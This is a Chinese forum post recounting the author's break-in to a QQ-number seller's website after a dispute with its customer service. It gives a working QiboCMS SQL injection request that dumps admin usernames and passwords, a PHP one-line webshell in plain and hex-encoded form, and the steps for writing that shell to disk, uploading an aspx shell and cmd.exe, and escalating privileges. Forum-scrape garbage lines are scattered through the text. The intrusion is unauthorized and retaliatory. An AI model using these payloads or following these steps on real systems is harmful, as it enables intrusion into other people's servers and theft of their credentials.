|
7 K3 v) J4 N: M/ g! n
; s6 Z& K$ D& U' v8 F
2 [$ S1 N( X9 d T9 |3 K4 C( t4 _ S8 ]$ V
一、踩点寻找漏洞
0 Z* a, I9 t' |6 z2 t" t- ]' j
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
' }. x7 i) m$ D) @5 B+ e2 e
随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
( B U1 e0 j3 l& ?6 N9 G先注册一个用户，记住注册时候的邮箱以uid号，
: J0 |$ |# [# d- r$ H# P8 D
2 w7 j! V$ X$ Q6 x9 b, v
4 g7 B/ `- C/ ?- W. K% s8 J然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
. F% F- i; V$ p/ a
7 n" A2 z8 T$ ]9 R' `% jtruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
+ @+ l+ b0 j! W. W L- E) u这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
. g, ~/ |3 I. H3 i7 ^
! P" e( e) r! e2 d' m4 O+ ^. z
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
2 f8 u; r5 t3 u0 ^
* y2 x# u! l: ?5 v- |
) d7 k0 q% ]9 Z" M2 B' F
解密进后台如图：
: p4 R1 D3 n% U- Q7 d
3 \, ]/ R* j( m J: l, W* O
: C" z: h$ Z2 O9 ] Q& e
( J' Q6 [: N$ J二、后台getwebshell
7 Y- D6 J: E) f( Q1 v3 J进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
/ j* o# Z* H" c
, H0 E2 R( ^% v
5 @+ M3 w) G2 t+ M7 c
' @% l4 {# b: ~$ ]8 `
然后点确定，添加提示
, \1 l4 |' e8 V G7 H$ ^. S3 w
$ U$ [% b0 ^8 O" Q. @8 J" H
/ v7 h0 t9 T9 w, J8 l4 j8 m) G
a2 q' C9 H% V2 B4 L
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
6 `2 l3 `, Z: Y* D7 P( F; l$ W) `
9 w& T- G! r6 g5 J) o% o0 X- {& H
& X: N4 f' {( r+ ~" g4 x改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
0 {( z- M2 l% r# i0 a# x' O! i* ?如图：
2 |/ b0 F9 Y9 Z9 A
0 t9 {( ]4 C* Q& b( F
( d2 u+ b, a. T; A9 q8 `1 y& U
' m8 v4 v& r* N0 }
之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
9 e/ ~" b, D' I/ R6 \6 E
: O5 A6 m+ c$ o. M$ ]
$ J: A2 {8 ?/ j8 w, L
5 o0 e! p) a3 g. S/ D
三、提权进服务器
, Y- S, L: y1 Z! Q: o+ G# Z经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
- d. U: g$ v- `2 O5 T: T6 A |, Z
( I5 S' l3 q. T+ g: H9 q8 b
9 q% a8 i. e& C+ }# j8 z啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
6 y1 @0 O! k8 K8 d, H
. H, `! S! i* }8 x5 ~; C! ?& k4 T5 w
3 S W* M, ?. S3 J2 ^# v
然后登陆服务器如图：
, Q$ V6 M' x1 ?: A$ R% Y
3 e" H% C. A0 F" ~
! @4 T$ v2 O% W
0 ^7 K( `% C1 Z
1 r# [% e! N( c* d! d
- o( o2 x+ l' b) M" u难怪普通刀连接不上，原来是有狗。
7 s+ X2 N! Y2 I* g) U
: P+ K# ~# u; `8 J( w' e& B
. @8 W$ p8 b" J) Q5 e+ g
b4 {0 F* i# x2 V. o
: e; x3 N& @7 r6 c
7 y4 S* Y c8 e/ V2 @' x- q. m
, H3 s2 q+ L. [. D6 a# b Z
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对